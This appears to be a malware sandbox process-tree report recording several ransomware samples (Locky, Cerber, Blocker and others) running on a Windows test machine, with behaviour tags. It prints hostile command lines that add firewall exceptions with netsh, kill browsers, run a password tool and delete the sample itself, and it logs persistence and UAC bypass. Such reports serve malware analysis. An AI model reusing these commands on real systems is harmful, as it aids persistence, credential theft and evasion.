C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2064 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 /prefetch:34⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2908 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3392 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4796 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3412 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5488 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5488 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5624 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5812 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5820 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5840 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6184 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6236 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6044 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2060,15625070387048996173,14938352891612962076,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5640 /prefetch:84⤵
-
-
C:\Users\Admin\Downloads\cmd.exe"C:\Users\Admin\Downloads\cmd.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\GamePanel.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\GamePanel.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\taskkill.exetaskkill /pid:29205⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Blocker.jhsj-ef5b7665ea1dcc16816547e032d82132832403e6daac70cc5768f26e99ac174f.exeTrojan-Ransom.Win32.Blocker.jhsj-ef5b7665ea1dcc16816547e032d82132832403e6daac70cc5768f26e99ac174f.exe5⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
-
C:\ProgramData\svhost.exe"C:\ProgramData\svhost.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Blocker.jkzx-d124c89b0a5a9b1f56f9176c2c412aa1ed2dda64566df4f499105705ea75da4e.exeTrojan-Ransom.Win32.Blocker.jkzx-d124c89b0a5a9b1f56f9176c2c412aa1ed2dda64566df4f499105705ea75da4e.exe5⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\Taskmgr.exe"C:\Users\Admin\AppData\Roaming\Taskmgr.exe"6⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\Taskmgr.exe" "Taskmgr.exe" ENABLE7⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Blocker.jovc-a900b335b9ad0363630d9517d99d4f636b84a538f40acfd6dff9391702d30c9f.exeTrojan-Ransom.Win32.Blocker.jovc-a900b335b9ad0363630d9517d99d4f636b84a538f40acfd6dff9391702d30c9f.exe5⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Users\Admin\AppData\Roaming\kingoroott.exeC:\Users\Admin\AppData\Roaming\kingoroott.exe6⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Blocker.jovc-a900b335b9ad0363630d9517d99d4f636b84a538f40acfd6dff9391702d30c9f.exe"C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Blocker.jovc-a900b335b9ad0363630d9517d99d4f636b84a538f40acfd6dff9391702d30c9f.exe"6⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe6⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Foreign.hamq-686d991ce763e683ea6ee0f0202681364e8f55efb02c312a59e599b5abb547fd.exeTrojan-Ransom.Win32.Foreign.hamq-686d991ce763e683ea6ee0f0202681364e8f55efb02c312a59e599b5abb547fd.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3704 -s 5446⤵
- Program crash
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Foreign.ngmm-dfef0ef6449c8dfde93a161cda3cc821cb9d6e83910197fd828189d94b27bd02.exeTrojan-Ransom.Win32.Foreign.ngmm-dfef0ef6449c8dfde93a161cda3cc821cb9d6e83910197fd828189d94b27bd02.exe5⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\fud.bat" "6⤵
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\GamePanel.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\GamePanel.exe"7⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\tut.sfx.exetut.sfx.exe -p123 -dC:\Users\Admin\AppData\Local\Temp7⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\tut.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\tut.exe"8⤵
- UAC bypass
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Enumerates system info in registry
- NTFS ADS
- System policy modification
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /k HOSTNAME9⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\dccw.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\dccw.exe"10⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\HOSTNAME.EXEHOSTNAME10⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh firewall add allowedprogram program = STcONaURjstoJeQ(uMqeEfSfaGeNmho("yJmAEIBBXdvRXSFRGegUiJnA")) name = STcONaURjstoJeQ(uMqeEfSfaGeNmho("XQ0V1bwVGZ0FQZ==")) mode = ENABLE9⤵
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"11⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram program = STcONaURjstoJeQ(uMqeEfSfaGeNmho("yJmAEIBBXdvRXSFRGegUiJnA")) name = STcONaURjstoJeQ(uMqeEfSfaGeNmho("XQ0V1bwVGZ0FQZ==")) mode = ENABLE10⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /f /im chrome.exe9⤵
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"11⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\log\pass.exe all9⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"11⤵
- Executes dropped EXE
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /k systeminfo9⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"11⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "" > NUL & ping -n 1 127.0.0.1 > NUL & del "" > NUL12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im ""13⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.113⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
C:\Windows\SysWOW64\systeminfo.exesysteminfo10⤵
- Gathers system information
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /k ipconfig9⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"11⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "" > NUL & ping -n 1 127.0.0.1 > NUL & del "" > NUL12⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im ""13⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.113⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
C:\Windows\SysWOW64\ipconfig.exeipconfig10⤵
- System Location Discovery: System Language Discovery
- Gathers network information
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\log\securityscan.exeC:\Users\Admin\AppData\Roaming\Microsoft\log\securityscan.exe9⤵
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /k HOSTNAME10⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"11⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"12⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "" > NUL & ping -n 1 127.0.0.1 > NUL & del "" > NUL13⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im ""14⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.114⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
C:\Windows\SysWOW64\HOSTNAME.EXEHOSTNAME11⤵
-
-
-
-
-
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Foreign.nhhn-9b2699969896d0b301ab47e2f2f7f2051534ea526d862d75f4cda83b29408348.exeTrojan-Ransom.Win32.Foreign.nhhn-9b2699969896d0b301ab47e2f2f7f2051534ea526d862d75f4cda83b29408348.exe5⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\334C\99A6.bat" "C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe" "C:\Users\Admin\Desktop\00269\TR3C54~1.EXE""6⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\dccw.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\dccw.exe"7⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /C ""C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe" "C:\Users\Admin\Desktop\00269\TR3C54~1.EXE""7⤵
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\dccw.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\dccw.exe"8⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe"C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe" "C:\Users\Admin\Desktop\00269\TR3C54~1.EXE"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe9⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
-
-
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Locky.cfh-530326ed9cafede731a478242b0f1f13f7263c1bec156adb2f3f26132667464d.exeTrojan-Ransom.Win32.Locky.cfh-530326ed9cafede731a478242b0f1f13f7263c1bec156adb2f3f26132667464d.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Locky.cfh-530326ed9cafede731a478242b0f1f13f7263c1bec156adb2f3f26132667464d.exe"C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Locky.cfh-530326ed9cafede731a478242b0f1f13f7263c1bec156adb2f3f26132667464d.exe"6⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5E7E\2F3F.bat" "C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe" "C:\Users\Admin\Desktop\00269\TR959A~1.EXE""7⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"9⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "" > NUL & ping -n 1 127.0.0.1 > NUL & del "" > NUL10⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im ""11⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.111⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C ""C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe" "C:\Users\Admin\Desktop\00269\TR959A~1.EXE""8⤵
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\netbtugc.exe"10⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "" > NUL & ping -n 1 127.0.0.1 > NUL & del "" > NUL11⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im ""12⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.112⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe"C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe" "C:\Users\Admin\Desktop\00269\TR959A~1.EXE"9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe"C:\Users\Admin\AppData\Roaming\adsnvice\AppRdprt.exe"10⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe11⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
-
-
-
-
-
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Locky.hy-ddb80a24da8bec08eeac77e0a7ea13e48805a302290555d4bcb5d86d9080b13c.exeTrojan-Ransom.Win32.Locky.hy-ddb80a24da8bec08eeac77e0a7ea13e48805a302290555d4bcb5d86d9080b13c.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Purga.p-25aa2980ba724f212ca7292f968ded935760ba0a5b5562c3702e3572342089a3.exeTrojan-Ransom.Win32.Purga.p-25aa2980ba724f212ca7292f968ded935760ba0a5b5562c3702e3572342089a3.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Zerber.dhg-b0697ec9eeec95dc0d07b0d339bcd2577e07ef27dce3d2ac62e55ab32b5a75ff.exeTrojan-Ransom.Win32.Zerber.dhg-b0697ec9eeec95dc0d07b0d339bcd2577e07ef27dce3d2ac62e55ab32b5a75ff.exe5⤵
- Cerber
- Adds policy Run key to start application
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Modifies Control Panel
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe/d /c taskkill /t /f /im "Trojan-Ransom.Win32.Zerber.dhg-b0697ec9eeec95dc0d07b0d339bcd2577e07ef27dce3d2ac62e55ab32b5a75ff.exe" > NUL & ping -n 1 127.0.0.1 > NUL & del "C:\Users\Admin\Desktop\00269\Trojan-Ransom.Win32.Zerber.dhg-b0697ec9eeec95dc0d07b0d339bcd2577e07ef27dce3d2ac62e55ab32b5a75ff.exe" > NUL6⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /t /f /im "Trojan-Ransom.Win32.Zerber.dhg-b0697ec9eeec95dc0d07b0d339bcd2577e07ef27dce3d2ac62e55ab32b5a75ff.exe"7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\PING.EXEping -n 1 127.0.0.17⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\gpresult.exe"C:\Users\Admin\AppData\Roaming\{506B0140-7A04-4F0E-99A9-111E8062B460}\gpresult.exe"6⤵
